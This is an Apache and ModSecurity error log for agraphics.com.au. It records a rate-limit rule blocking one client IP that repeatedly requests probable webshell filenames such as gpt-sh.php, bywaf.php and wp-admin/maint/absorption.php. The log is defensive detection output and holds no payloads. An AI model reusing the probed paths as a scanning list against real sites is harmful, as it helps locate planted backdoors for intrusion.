[Sun Mar 29 05:04:44.390191 2026] [:error] [pid 32257:tid 32320] [client 20.122.187.158:28144] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/schal.php"] [unique_id "achCbCE3TArOFrUtgWonMwAAAII"]
[Sun Mar 29 05:04:44.807787 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28211] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/schal.php"] [unique_id "achCbFoaWSl2asqQCh8OkgAAAQ8"]
[Sun Mar 29 05:04:45.222067 2026] [proxy_fcgi:error] [pid 32257:tid 32324] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:46.815433 2026] [proxy_fcgi:error] [pid 32257:tid 32333] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:47.023932 2026] [proxy_fcgi:error] [pid 32257:tid 32336] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:47.229361 2026] [proxy_fcgi:error] [pid 32257:tid 32328] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:47.435487 2026] [proxy_fcgi:error] [pid 32257:tid 32337] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:47.648045 2026] [proxy_fcgi:error] [pid 32257:tid 32318] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:47.854691 2026] [proxy_fcgi:error] [pid 32257:tid 32340] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:48.058470 2026] [proxy_fcgi:error] [pid 32257:tid 32327] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:48.263688 2026] [proxy_fcgi:error] [pid 32257:tid 32325] [client 20.122.187.158:28135] AH01071: Got error 'Primary script unknown'
[Sun Mar 29 05:04:48.463354 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28135] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "achCcCE3TArOFrUtgWonQgAAAI4"]
[Sun Mar 29 05:04:48.880824 2026] [:error] [pid 32257:tid 32329] [client 20.122.187.158:28153] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "achCcCE3TArOFrUtgWonRQAAAIs"]
[Sun Mar 29 05:04:49.280304 2026] [:error] [pid 32255:tid 32300] [client 20.122.187.158:28218] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "achCcWnfn-AtRoMbquxFYAAAAEk"]
[Sun Mar 29 05:04:49.691805 2026] [:error] [pid 1524:tid 1549] [client 20.122.187.158:28053] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "achCcVoaWSl2asqQCh8OoAAAARI"]
[Sun Mar 29 05:04:50.102585 2026] [:error] [pid 32257:tid 32341] [client 20.122.187.158:28096] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "achCciE3TArOFrUtgWonRwAAAJc"]
[Sun Mar 29 05:04:50.507165 2026] [:error] [pid 32255:tid 32309] [client 20.122.187.158:28136] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "achCcmnfn-AtRoMbquxFYgAAAFI"]
[Sun Mar 29 05:04:50.910604 2026] [:error] [pid 32359:tid 32367] [client 20.122.187.158:28060] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "achCcgMb8G3UzfQP3WjK-AAAAMY"]
[Sun Mar 29 05:04:51.310025 2026] [:error] [pid 32359:tid 32383] [client 20.122.187.158:28067] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bywaf.php"] [unique_id "achCcwMb8G3UzfQP3WjK-QAAANY"]
[Sun Mar 29 05:04:51.714623 2026] [:error] [pid 32257:tid 32339] [client 20.122.187.158:28282] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-true.php"] [unique_id "achCcyE3TArOFrUtgWonSgAAAJU"]
[Sun Mar 29 05:04:52.131884 2026] [:error] [pid 32359:tid 32374] [client 20.122.187.158:28032] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-true.php"] [unique_id "achCdAMb8G3UzfQP3WjK_AAAAM0"]
[Sun Mar 29 05:04:52.532870 2026] [:error] [pid 32359:tid 32384] [client 20.122.187.158:28138] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-true.php"] [unique_id "achCdAMb8G3UzfQP3WjK_wAAANc"]
[Sun Mar 29 05:04:52.950022 2026] [:error] [pid 32359:tid 32377] [client 20.122.187.158:28198] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-true.php"] [unique_id "achCdAMb8G3UzfQP3WjLAQAAANA"]
[Sun Mar 29 05:04:53.366541 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28047] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "achCdSE3TArOFrUtgWonTQAAAJI"]
[Sun Mar 29 05:04:53.785132 2026] [:error] [pid 32254:tid 32276] [client 20.122.187.158:28033] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "achCdaug2IHuyGgCTn8MyQAAAAw"]
[Sun Mar 29 05:04:54.208429 2026] [:error] [pid 32254:tid 32279] [client 20.122.187.158:28149] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "achCdqug2IHuyGgCTn8MygAAAA8"]
[Sun Mar 29 05:04:54.616625 2026] [:error] [pid 32254:tid 32269] [client 20.122.187.158:28210] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "achCdqug2IHuyGgCTn8MywAAAAU"]
[Sun Mar 29 05:04:55.015635 2026] [:error] [pid 32359:tid 32364] [client 20.122.187.158:28248] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx88.php"] [unique_id "achCdwMb8G3UzfQP3WjLBAAAAMM"]
[Sun Mar 29 05:04:55.415263 2026] [:error] [pid 32254:tid 32274] [client 20.122.187.158:28146] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx88.php"] [unique_id "achCd6ug2IHuyGgCTn8MzwAAAAo"]
[Sun Mar 29 05:04:55.831342 2026] [:error] [pid 32359:tid 32372] [client 20.122.187.158:28088] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx88.php"] [unique_id "achCdwMb8G3UzfQP3WjLBgAAAMs"]
[Sun Mar 29 05:04:56.236059 2026] [:error] [pid 32255:tid 32305] [client 20.122.187.158:28066] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx88.php"] [unique_id "achCeGnfn-AtRoMbquxFZQAAAE4"]
[Sun Mar 29 05:04:56.642601 2026] [:error] [pid 32254:tid 32278] [client 20.122.187.158:28130] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "achCeKug2IHuyGgCTn8M0gAAAA4"]
[Sun Mar 29 05:04:57.048511 2026] [:error] [pid 32257:tid 32327] [client 20.122.187.158:28124] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "achCeSE3TArOFrUtgWonUwAAAIk"]
[Sun Mar 29 05:04:57.472684 2026] [:error] [pid 32255:tid 32313] [client 20.122.187.158:28283] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "achCeWnfn-AtRoMbquxFZwAAAFY"]
[Sun Mar 29 05:04:57.880486 2026] [:error] [pid 32254:tid 32282] [client 20.122.187.158:28111] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "achCeaug2IHuyGgCTn8M1AAAABI"]
[Sun Mar 29 05:04:58.284120 2026] [:error] [pid 32254:tid 32268] [client 20.122.187.158:28175] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "achCequg2IHuyGgCTn8M1QAAAAQ"]
[Sun Mar 29 05:04:58.691752 2026] [:error] [pid 32254:tid 32273] [client 20.122.187.158:28055] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "achCequg2IHuyGgCTn8M2AAAAAk"]
[Sun Mar 29 05:04:59.099650 2026] [:error] [pid 32255:tid 32299] [client 20.122.187.158:28129] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "achCe2nfn-AtRoMbquxFbAAAAEg"]
[Sun Mar 29 05:04:59.514933 2026] [:error] [pid 32255:tid 32310] [client 20.122.187.158:28091] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/max.php"] [unique_id "achCe2nfn-AtRoMbquxFbwAAAFM"]
[Sun Mar 29 05:04:59.938588 2026] [:error] [pid 32257:tid 32341] [client 20.122.187.158:28083] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "achCeyE3TArOFrUtgWonWwAAAJc"]
[Sun Mar 29 05:05:00.376478 2026] [:error] [pid 32257:tid 32330] [client 20.122.187.158:28059] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "achCfCE3TArOFrUtgWonXQAAAIw"]
[Sun Mar 29 05:05:00.778406 2026] [:error] [pid 32254:tid 32266] [client 20.122.187.158:28072] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "achCfKug2IHuyGgCTn8M2gAAAAI"]
[Sun Mar 29 05:05:01.188305 2026] [:error] [pid 1524:tid 1553] [client 20.122.187.158:28074] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "achCfVoaWSl2asqQCh8OtAAAARU"]
[Sun Mar 29 05:05:01.600184 2026] [:error] [pid 32257:tid 32339] [client 20.122.187.158:28143] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/utky.php"] [unique_id "achCfSE3TArOFrUtgWonYAAAAJU"]
[Sun Mar 29 05:05:02.004121 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28012] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/utky.php"] [unique_id "achCfiE3TArOFrUtgWonYgAAAJI"]
[Sun Mar 29 05:05:02.412225 2026] [:error] [pid 32359:tid 32363] [client 20.122.187.158:28056] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/utky.php"] [unique_id "achCfgMb8G3UzfQP3WjLDQAAAMI"]
[Sun Mar 29 05:05:02.821126 2026] [:error] [pid 1524:tid 1552] [client 20.122.187.158:28219] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/utky.php"] [unique_id "achCfloaWSl2asqQCh8OuQAAARQ"]
[Sun Mar 29 05:05:03.229882 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:27995] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uang.php"] [unique_id "achCfyE3TArOFrUtgWonYwAAAIM"]
[Sun Mar 29 05:05:03.640193 2026] [:error] [pid 1524:tid 1547] [client 20.122.187.158:28069] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uang.php"] [unique_id "achCf1oaWSl2asqQCh8OuwAAARA"]
[Sun Mar 29 05:05:04.044603 2026] [:error] [pid 32257:tid 32329] [client 20.122.187.158:28200] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uang.php"] [unique_id "achCgCE3TArOFrUtgWonaQAAAIs"]
[Sun Mar 29 05:05:04.452658 2026] [:error] [pid 1524:tid 1544] [client 20.122.187.158:27968] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uang.php"] [unique_id "achCgFoaWSl2asqQCh8OvAAAAQ0"]
[Sun Mar 29 05:05:04.868901 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28125] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp3.php"] [unique_id "achCgCE3TArOFrUtgWonbQAAAJE"]
[Sun Mar 29 05:05:05.277108 2026] [:error] [pid 32359:tid 32377] [client 20.122.187.158:28081] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp3.php"] [unique_id "achCgQMb8G3UzfQP3WjLFAAAANA"]
[Sun Mar 29 05:05:05.691304 2026] [:error] [pid 1524:tid 1555] [client 20.122.187.158:28005] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp3.php"] [unique_id "achCgVoaWSl2asqQCh8OvwAAARc"]
[Sun Mar 29 05:05:06.104766 2026] [:error] [pid 32257:tid 32339] [client 20.122.187.158:28152] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp3.php"] [unique_id "achCgiE3TArOFrUtgWoncQAAAJU"]
[Sun Mar 29 05:05:06.512628 2026] [:error] [pid 32359:tid 32366] [client 20.122.187.158:28159] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "achCggMb8G3UzfQP3WjLFQAAAMU"]
[Sun Mar 29 05:05:06.930664 2026] [:error] [pid 32359:tid 32379] [client 20.122.187.158:27979] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "achCggMb8G3UzfQP3WjLFwAAANI"]
[Sun Mar 29 05:05:07.331801 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28098] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "achCgyE3TArOFrUtgWoncwAAAJI"]
[Sun Mar 29 05:05:07.734488 2026] [:error] [pid 1524:tid 1541] [client 20.122.187.158:28086] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "achCg1oaWSl2asqQCh8OwwAAAQo"]
[Sun Mar 29 05:05:08.136703 2026] [:error] [pid 1524:tid 1556] [client 20.122.187.158:28075] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "achChFoaWSl2asqQCh8OxwAAARg"]
[Sun Mar 29 05:05:08.546493 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28110] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "achChFoaWSl2asqQCh8OyQAAAQ8"]
[Sun Mar 29 05:05:08.959920 2026] [:error] [pid 32359:tid 32371] [client 20.122.187.158:27988] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "achChAMb8G3UzfQP3WjLGwAAAMo"]
[Sun Mar 29 05:05:09.375214 2026] [:error] [pid 32359:tid 32383] [client 20.122.187.158:28079] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/absorption.php"] [unique_id "achChQMb8G3UzfQP3WjLHQAAANY"]
